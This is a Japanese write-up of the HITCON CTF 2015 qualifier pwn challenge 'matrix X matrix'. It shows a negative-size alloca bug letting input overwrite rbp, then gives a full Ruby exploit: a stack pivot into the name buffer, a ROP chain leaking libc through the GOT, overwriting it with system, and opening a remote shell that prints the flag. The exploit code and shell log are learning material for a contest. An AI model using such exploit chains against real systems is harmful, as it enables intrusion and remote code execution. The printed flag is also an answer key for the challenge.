HITCON CTF 2015 Quals - matrix X matrix writeup
HITCON CTF 2015 Qualsにfuzzi3で参加しました。
チームで3640pt入れて4位、
私は1問解いて175pt入れました。
次回はもっと貢献できるようにがんばります(白目)
解いた問題のwriteupを置いておきます(`・ω・´)
matrix X matrix (pwn 175)
$ ./matrix Enter your name test Hello test That is a program of matrix multiplication Enter the size of matrix 2 Enter the (0,0) element of the first matrix : 1 Enter the (0,1) element of the first matrix : 2 Enter the (1,0) element of the first matrix : 3 Enter the (1,1) element of the first matrix : 4 Enter the (0,0) element of the second matrix : 5 Enter the (0,1) element of the second matrix : 6 Enter the (1,0) element of the second matrix : 7 Enter the (1,1) element of the second matrix : 8 19 22 43 50
正方行列の積を計算してくれるプログラム。
大まかな流れは
- "Enter your name"で文字列を0x6020a0に読み込む
- "Enter the size of matrix"で行列のサイズを入力
alloca
で行列用の領域を確保- 行列の要素入力
- 積を計算
- 出力
という感じになっている。
サイズに負数を指定したらどうなるか試してみたところ、
Enter your name test Hello test That is a program of matrix multiplication Enter the size of matrix -2 Enter the (0,0) element of the first matrix : 1111 Enter the (0,1) element of the first matrix : 2222 Enter the (1,0) element of the first matrix : 3333 Program received signal SIGSEGV, Segmentation fault. 0x0000000000400976 in ?? () [----------------------------------registers-----------------------------------] RAX: 0x1 RBX: 0x10 RCX: 0x10 RDX: 0x1 RSI: 0x7ffff7dd59f0 --> 0x0 RDI: 0x1999999999999999 RBP: 0xd05 (※0xd05 == 3333) RSP: 0x7fffffffe0f0 --> 0x457 RIP: 0x400976 (add DWORD PTR [rbp-0x84],0x1) R8 : 0x7ffff7dd4060 --> 0x7ffff7dd0d40 --> 0x7ffff7b9320e --> 0x2e2e00544d470043 ('C') R9 : 0x7fffffffdc04 --> 0x200007f00 R10: 0xd05 R11: 0x0 R12: 0xfffffffffffffffe R13: 0x0 R14: 0xfffffffffffffffe R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400967: mov edi,0x400fc9 0x40096c: mov eax,0x0 0x400971: call 0x400600 <__isoc99_scanf@plt> => 0x400976: add DWORD PTR [rbp-0x84],0x1 0x40097d: mov eax,DWORD PTR [rbp-0x84] 0x400983: cmp eax,DWORD PTR [rbp-0x7c] 0x400986: jb 0x40090b 0x400988: add DWORD PTR [rbp-0x88],0x1 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe0f0 --> 0x457 0008| 0x7fffffffe0f8 --> 0x8ae 0016| 0x7fffffffe100 ("ram of m") 0024| 0x7fffffffe108 --> 0x0 0032| 0x7fffffffe110 --> 0x7fffffffe2a0 --> 0x0 0040| 0x7fffffffe118 --> 0x4007be (mov esi,DWORD PTR [rbp-0x8c]) 0048| 0x7fffffffe120 --> 0x7fffffffe230 --> 0xfffffffffffffffd 0056| 0x7fffffffe128 --> 0x7ffff7ffeae8 --> 0x7ffff7ffea18 --> 0x7ffff7ffe788 --> 0x7ffff7ffe760 --> 0x7ffff7ff8000 (jg 0x7ffff7ff8047) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400976 in ?? ()
サイズに-2を指定したとき、3番目の数字がrbpに入ってしまうことがわかった。
これを利用してrbpにname周辺のアドレスを入れれば、nameの内容でROPできる。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "52.68.53.28" port = 31337 libc_offset = { "__libc_start_main" => 0x21dd0, "system" => 0x46640 } else host = "localhost" port = 54321 end got = { "puts" => 0x602018, "__libc_start_main" => 0x602038, "fflush" => 0x602048, "read" => 0x602030 } def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0) payload = "" payload << [0x400efa, 0, 1, func, arg3, arg2, arg1].pack("Q*") payload << [0x400ee0].pack("Q") payload << [0].pack("Q") * 7 payload end PwnTube.open(host, port){|tube| tube.wait_time = 0 puts "[*] send rop chain" tube.recv_until("Enter your name") payload = "" payload << "\0" * 0x188 payload << call_func(got["puts"], got["__libc_start_main"]) payload << call_func(got["fflush"], 0) payload << call_func(got["read"], 0, got["__libc_start_main"], 16) payload << call_func(got["__libc_start_main"], got["__libc_start_main"] + 8) tube.send(payload) puts "[*] send matrix size" tube.recv_until("Enter the size of matrix") tube.send("-2\n") puts "[*] stack pivot" [1, 2, 0x6020a0 + 0x180].each{|n| tube.recv_until("first matrix :") tube.send("#{n}\n") } puts "[*] leak libc base" libc_base = tube.recv_capture(/(.{6})\n/)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"] printf("libc base = 0x%016x\n", libc_base) puts "[*] overwrite got" payload = "" payload << [libc_base + libc_offset["system"]].pack("Q") payload << "/bin/sh\0" tube.send(payload) tube.shell }
$ ruby matrix.rb [*] connected [*] send rop chain [*] send matrix size [*] stack pivot [*] leak libc base libc base = 0x00007f7c85207000 [*] overwrite got [*] waiting for shell... [*] interactive mode id uid=1000(matrix) gid=1000(matrix) groups=1000(matrix) cat /home/*/flag hitcon{tH4nK_U_4_pL4y1nG_W17H_3Bp_M47R1X} exit [*] end interactive mode [*] connection closed